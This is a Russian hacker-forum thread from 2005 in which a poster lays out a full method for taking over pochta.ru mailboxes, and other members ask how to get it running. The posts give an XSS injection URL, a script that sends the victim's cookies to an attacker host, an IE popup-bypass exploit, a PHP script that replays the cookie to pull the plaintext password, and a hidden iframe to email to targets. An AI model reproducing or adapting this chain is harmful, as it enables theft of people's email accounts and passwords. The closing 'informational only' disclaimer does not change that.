PDA

Просмотр полной версии : Захват ящика на pochta.ru


Майор
07.04.2005, 00:28
Система там такая: Если пользователь при входе ставит галочку "запомнить” (что является обязательным условие взлома) и входит в ящик, то ему посылаются cookie, далее его перебрасывает в его ящик. При повторном заходе сервер, получив cookie, подставляет в поле с паролем собственно сам пароль в открытом виде. Следовательно, наша задача получить cookie.
Проблема заключается в том, что при попадании в ящик сервер перекидывает нас в домен типа www2.pochta.ru www3.pochta.ru и т.д. Значит, нам придётся использовать всплывающие окна:
1) На главной странице сервера присутствует xss-уязвимость:

http://hotbox.ru/info.php?"><script src=http://adres_skripta.js></script>

Сам скрипт может выглядеть так:

img=new Image();img.src="http://adres/skript.php?"+document.cookie;

2) Известно, что IE всплывающие окна не пропускает, поэтому нам придётся воспользоваться вот таким эксплойтом, открытым через iframe (popup.html)(поскольку система не фильтрует этот тег):
Что бы соблюсти синтаксис метода showModelessDialog(), сделаем редирект php скриптом(redirect.php):

<?
$url="http://www.pochta.ru/info.php?mid=\"><script%20src=http://adres_skripta.js></script><a";
header("Location: $url");
?>


<html><body onload="setTimeout(' main() ',1001)">
<object id="x"
classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A" width="1" height="1" align="middle" border=0 scrollbar=no scrolling=no>
<PARAM NAME="ActivateApplets" VALUE="1">
<PARAM NAME="ActivateActiveXControls" VALUE="1">
</object>
<SCRIPT>
function shellscript()
{
open("http://www.hotbox.ru/info.php?mid=\"\>\<script%20src=http://adres_skripta.js\>\</script\>\<a","new_window","toolbar=0,location=0,status=0,menubar=0,scrollbars =0,resizable=0,titlebar=0,width=1,height=1,top=1,l eft=999");
showModelessDialog("http://adres/redirect.php","new_window","dialogWidth=1;dialogHeight=1;scroll=0;dialogTop=0; dialogLeft=900;dialogHide=0;help=0;status=0;resiza ble=0");
}
function main()
{
x.DOM.Script.execScript(shellscript.toString());
x.DOM.Script.setTimeout("shellscript()");
}
</SCRIPT></html>

(здесь "www.hotbox.ru" нужно будет поменять на домен нужного ящика)
(Взял от сюда: http://www.xakep.ru/post/24994)

Получив cookie, мы посылаем их серверу скриптом skript.php, который в ответ получает страницу с паролем (в поле pass, в атребут value), для удобства он вырезает только содержимое тега form и сохраняет в файл form.html

<?
$req="GET /info.php?lng=ru&mid=logout HTTP/1.0\r\nReferer: http://hotbox.ru\r\nCookie: ".$QUERY_STRING."\r\nHost: pochta.ru\r\n\r\n";
$f=fsockopen("hotbox.ru", 80);
fwrite($f, $req);
$dt="";
while (!feof($f))
$dt.=fread($f, 1024);
$form1=strpos($dt,"<form");
$form2=strpos($dt,"</form>")+7;
$dlina=$form2-$form1;
$p=substr($dt,$form1,$dlina);
$f1=Fopen("./form.html","a+t");
flock($f1,LOCK_EX);
fwrite($f1,"{$p}<hr>");
echo "$p";
flock($f1,LOCK_UN);
fclose($f1);
fclose($f);
?>


Теперь напишем письмо пользователю в html формате:

<iframe FRAMEBORDER=0 src='http://adres/popup.html'></iframe>

Атрибут FRAMEBORDER используется для маскировки фрейма.

Из-за всплывающих окон уязвимость является броузерозависимой, проверялась в IE 6 sp2, Mozilla/5.0 (в Opere не работает)

P.S. ДАННАЯ ИНФОРМАЦИЯ НОСИТ ЧИСТО ПОЗНОВАТЕЛЬНЫЙ ХАРАКТЕР. НЕ ПРИМЕНЯЙТЕ ЕЁ.

Автор: Mayor

_Hitman_
07.04.2005, 19:15
Значит получилось?
Ну молодец. Удачи!

rsha1988
07.04.2005, 22:35
Чето у меня не получилось(
Вот что показывает когда открываеш skript.php :
Warning: fread(): supplied argument is not a valid stream resource in /www2/s/sa/*.fatal.ru/site/123/skript.php on line 7

Warning: feof(): supplied argument is not a valid stream resource in /www2/s/sa/*.fatal.ru/site/123/skript.php on line 6

Майор
07.04.2005, 22:50
Чето у меня не получилось(
Вот что показывает когда открываеш skript.php :
Warning: fread(): supplied argument is not a valid stream resource in /www2/s/sa/*.fatal.ru/site/123/skript.php on line 7

Warning: feof(): supplied argument is not a valid stream resource in /www2/s/sa/*.fatal.ru/site/123/skript.php on line 6
Ты его не должен открывать, открывать надо только popup.html

rsha1988
07.04.2005, 23:04
Дык это понятно)))
popup.html - это код №4
Только в нем надо менять http://www.hotbox.ru/info.php?mid=\"\>\ например на http://www.front.ru/info.php?mid=\"\>\ да?
В остальных файлах:
adres_skripta.php )))
redirect.php
skript.php надо менять только путь, да?
На папку скрипта надо ставить права 777 да?

Майор
07.04.2005, 23:19
Дык это понятно)))
popup.html - это код №4
Только в нем надо менять http://www.hotbox.ru/info.php?mid=\"\>\ например на http://www.front.ru/info.php?mid=\"\>\ да?

да, ещё здесь redirect.php

В остальных файлах:
adres_skripta.php )))
redirect.php
skript.php надо менять только путь, да?
На папку скрипта надо ставить права 777 да?
да